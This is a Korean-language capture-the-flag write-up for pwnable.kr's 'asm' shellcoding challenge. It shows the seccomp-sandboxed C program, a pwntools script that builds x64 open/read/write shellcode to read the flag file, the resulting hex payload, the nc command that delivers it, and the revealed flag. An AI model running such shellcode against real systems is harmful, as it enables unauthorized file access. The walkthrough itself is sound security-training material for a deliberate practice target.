pwnable.kr [asm] 풀이

asm - 6 pt

Mommy! I think I know how to make shellcodes

ssh asm@pwnable.kr -p2222 (pw: guest)

asm@ubuntu:~$ ls -l

total 28

-rwxr-xr-x 1 root root 13704 Nov 29  2016 asm

-rw-r--r-- 1 root root  1793 Nov 29  2016 asm.c

-rw-r--r-- 1 root root   211 Nov 19  2016 readme

-rw-r--r-- 1 root root    67 Nov 19  2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

asm@ubuntu:~$ cat readme 

once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.

make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

asm@ubuntu:~$ cat asm.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
 
#define LENGTH 128
 
void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }
 
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
 
    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}
 
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");
 
    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000);
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);
 
    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}
 

asm@ubuntu:~$ nc 0 9026

Welcome to shellcoding practice challenge.

In this challenge, you can run your x64 shellcode under SECCOMP sandbox.

Try to make shellcode that spits flag using open()/read()/write() systemcalls only.

If this does not challenge you. you should play 'asg' challenge :)

give me your x64 shellcode: 

실행을 해보면 x64 쉘코드를 달라고 한다. 시스템콜[open(), read(), write()]만을 사용한 쉘코드로 flag를 알아내는 문제다.

쉘코드는 python으로 pwntools의 shellcraft를 이용하면 쉘코드를 쉽게 만들 수 있다.

from pwn import *
 
 
context(arch='amd64', os='linux')
 
payload = ""
payload += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
payload += shellcraft.open('rsp', 0, 0)
payload += shellcraft.read('rax', 'rsp', 100)
payload += shellcraft.write(1, 'rsp', 100)
 
print asm(payload).encode('hex')

mandu@mandu-VirtualBox:~/prog_py$ python pwnable_asm.py 

48b801010101010101015048b86e316e316e6f66014831042448b86f306f306f306f305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b830303030306f6f6f5048b830303030303030305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b8735f766572795f6c5048b8655f6e616d655f695048b85f7468655f66696c5048b86c652e736f7272795048b85f746869735f66695048b86173655f726561645048b866696c655f706c655048b86b725f666c61675f5048b870776e61626c652e5048b8746869735f69735f504889e731d231f66a02580f054889c731c06a645a4889e60f056a015f6a645a4889e66a01580f05

asm@ubuntu:~$ (python -c 'print "48b801010101010101015048b86e316e316e6f66014831042448b86f306f306f306f305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b830303030306f6f6f5048b830303030303030305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b8735f766572795f6c5048b8655f6e616d655f695048b85f7468655f66696c5048b86c652e736f7272795048b85f746869735f66695048b86173655f726561645048b866696c655f706c655048b86b725f666c61675f5048b870776e61626c652e5048b8746869735f69735f504889e731d231f66a02580f054889c731c06a645a4889e60f056a015f6a645a4889e66a01580f05".decode("hex")') | nc 0 9026

Welcome to shellcoding practice challenge.

In this challenge, you can run your x64 shellcode under SECCOMP sandbox.

Try to make shellcode that spits flag using open()/read()/write() systemcalls only.

If this does not challenge you. you should play 'asg' challenge :)

give me your x64 shellcode: Mak1ng_shelLcodE_i5_veRy_eaSy

lease_read_this_file.sorry_the_file_name_is_very_looooooooooooooooooooasm@ubuntu:~$ 

FLAG : Mak1ng_shelLcodE_i5_veRy_eaSy